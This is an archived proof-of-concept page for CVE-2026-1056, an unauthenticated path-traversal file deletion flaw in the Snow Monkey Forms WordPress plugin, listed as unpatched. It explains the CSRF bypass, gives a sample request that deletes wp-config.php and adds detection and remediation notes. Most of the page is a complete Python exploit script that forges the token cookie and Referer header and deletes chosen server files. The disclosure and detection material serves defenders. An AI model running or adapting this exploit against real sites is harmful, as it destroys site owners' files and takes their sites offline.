PoC Archive PoC Archive
Critical CVE-2026-1056 unpatched

Snow Monkey Forms — Unauthenticated Arbitrary File Deletion via Path Traversal (CVE-2026-1056)

by Sarawut Poolkhet (MisterHelloz) · 2026-07-05

Severity
Critical
CVE
CVE-2026-1056
Category
web
Affected product
Snow Monkey Forms (WordPress plugin)
Affected versions
<= 12.0.3
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-01
Author / ResearcherSarawut Poolkhet (MisterHelloz)
CVE / AdvisoryCVE-2026-1056
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, plugin, snow-monkey-forms, path-traversal, file-deletion, unauthenticated, rest-api, csrf-bypass
RelatedN/A

Affected Target

FieldValue
Software / SystemSnow Monkey Forms (WordPress plugin)
Versions Affected<= 12.0.3
Language / PlatformPHP / WordPress REST API, PoC written in Python 3
Authentication RequiredNo
Network Access RequiredYes

Summary

Snow Monkey Forms’ REST API route handler (Snow_Monkey\Plugin\Forms\App\Rest\Route\View.php) contains a logic flaw where supplying method=input causes the handler to skip its CSRF token validation entirely and jump straight to the _send() cleanup routine. That routine builds a per-user temporary directory path using an attacker-controlled form_id/formid value that is never validated to be numeric, and WordPress’s path_join() helper does not strip ../ traversal sequences. As a result, an unauthenticated attacker can direct the plugin to recursively delete an arbitrary directory/file on the server by supplying a traversal payload as the formid. The PoC crafts the required cookie/Referer bypass values and sends the malicious REST request.


Vulnerability Details

Root Cause

View::send() conditionally bypasses Csrf::validate() whenever the request’s method field equals input, and the resulting _send() code path passes an unsanitized, attacker-controlled form_id into Directory::generate_user_dirpath(), which concatenates it into a filesystem path without resolving or blocking ../ sequences before calling Directory::do_empty() and Directory::remove().

Attack Vector

  1. Identify a target running Snow Monkey Forms (check /wp-content/plugins/snow-monkey-forms/readme.txt for version).
  2. Set a static alphanumeric value for the _snow-monkey-forms-token cookie to satisfy the plugin’s regex check, and set the Referer header to the site’s own base URL to pass the Referer check.
  3. POST to /wp-json/snow-monkey-form/v1/view with snow-monkey-forms-meta[method]=input (bypassing CSRF) and snow-monkey-forms-meta[formid] set to a directory traversal payload pointing at the target file/directory.
  4. The plugin recursively deletes the resolved path if the web server process has write/delete permission there.

Impact

An unauthenticated attacker can delete arbitrary files or directories on the server (subject to filesystem permissions), which can be used for denial of service (e.g. deleting wp-config.php to break the site) or to remove security artifacts/logs.


Environment / Lab Setup

Target:   WordPress site running Snow Monkey Forms <= 12.0.3
Attacker: Python 3.x, `pip install requests`

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python exploit.py -u <TARGET_URL> -f <TRAVERSAL_PAYLOAD>

The script sends a crafted POST to /wp-json/snow-monkey-form/v1/view with a static token cookie, a matching Referer header, method=input to bypass CSRF validation, and the supplied traversal payload as the formid, reporting whether the request was accepted (HTTP 200) versus rejected (HTTP 403 from the Referer check).


Detection & Indicators of Compromise

POST /wp-json/snow-monkey-form/v1/view HTTP/1.1
Cookie: _snow-monkey-forms-token=poc12345
Referer: <site base URL>

snow-monkey-forms-meta[method]=input&snow-monkey-forms-meta[formid]=../../../../wp-config.php

Signs of compromise:

  • Missing files/directories under wp-content/uploads/smf-uploads/ or elsewhere that correspond to traversal targets.
  • REST API access logs showing POSTs to /wp-json/snow-monkey-form/v1/view with method=input and formid values containing ../.
  • Sudden site breakage (e.g. missing wp-config.php or plugin files) with no corresponding admin action.

Remediation

ActionDetail
Primary fixUpdate Snow Monkey Forms to a version newer than 12.0.3 per the Wordfence advisory
Interim mitigationDeactivate the plugin until patched; block REST API requests to snow-monkey-form/v1/view containing method=input at the WAF layer; restrict filesystem write permissions for the web server user

References


Notes

Mirrored from https://github.com/ch4r0nn/CVE-2026-1056-POC on 2026-07-05.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import argparse
import requests
import sys
from urllib.parse import urlparse

# Banner
def banner():
    print("""
###########################################################################
# Snow Monkey Forms - Unauthenticated Arbitrary File Deletion Exploit     #
# Vulnerability: Path Traversal via 'formid' parameter                    #
# Impact: Critical (Unauthenticated file deletion)                        #
# Tested on: Snow Monkey Forms v12.0.3                                    #
###########################################################################
    """)

def exploit(target_url, file_path):
    # API Endpoint
    api_endpoint = "/wp-json/snow-monkey-form/v1/view"
    full_url = target_url.rstrip('/') + api_endpoint

    # Parse target URL to construct valid Referer
    parsed_uri = urlparse(target_url)
    base_url = f"{parsed_uri.scheme}://{parsed_uri.netloc}/"

    # 1. Bypass Regex Check for Token
    # The plugin checks if the cookie token matches ^[a-z0-9]+$
    # We set a static alphanumeric token.
    cookies = {
        "_snow-monkey-forms-token": "poc12345"
    }

    # 2. Bypass Referer Check
    # The plugin checks if the Referer header starts with the site home URL.
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Testing)",
        "Referer": base_url
    }

    # 3. Payload Construction
    # 'method': 'input' -> Bypasses the CSRF verification in View.php
    # 'formid': The path traversal payload pointing to the file to delete.
    # The base path is usually wp-content/uploads/smf-uploads/<token>/<formid>
    # We use enough '../' to reach the root or target file.
    data = {
        "snow-monkey-forms-meta[method]": "input",
        "snow-monkey-forms-meta[formid]": file_path
    }

    print(f"[*] Target: {full_url}")
    print(f"[*] Target File Payload: {file_path}")
    print(f"[*] Sending malicious request...")

    try:
        # Using verify=False to ignore SSL cert errors for testing
        response = requests.post(full_url, cookies=cookies, headers=headers, data=data, verify=False)

        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] The server processed the 'input' method.")
            print("[!] If the path was correct and write permissions allowed, the file should be deleted.")
            print("[*] Server Response:", response.text)
        elif response.status_code == 403:
            print("[-] Failed: 403 Forbidden. The Referer check might have failed.")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
            print(f"[-] Response: {response.text}")

    except requests.exceptions.RequestException as e:
        print(f"[-] Connection Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Snow Monkey Forms Unauth File Deletion PoC")
    parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress site (e.g., http://target.local)")
    parser.add_argument("-f", "--file", required=True, help="Relative path to file to delete (e.g., ../../../../wp-config.php)")
    
    args = parser.parse_args()
    
    banner()
    exploit(args.url, args.file)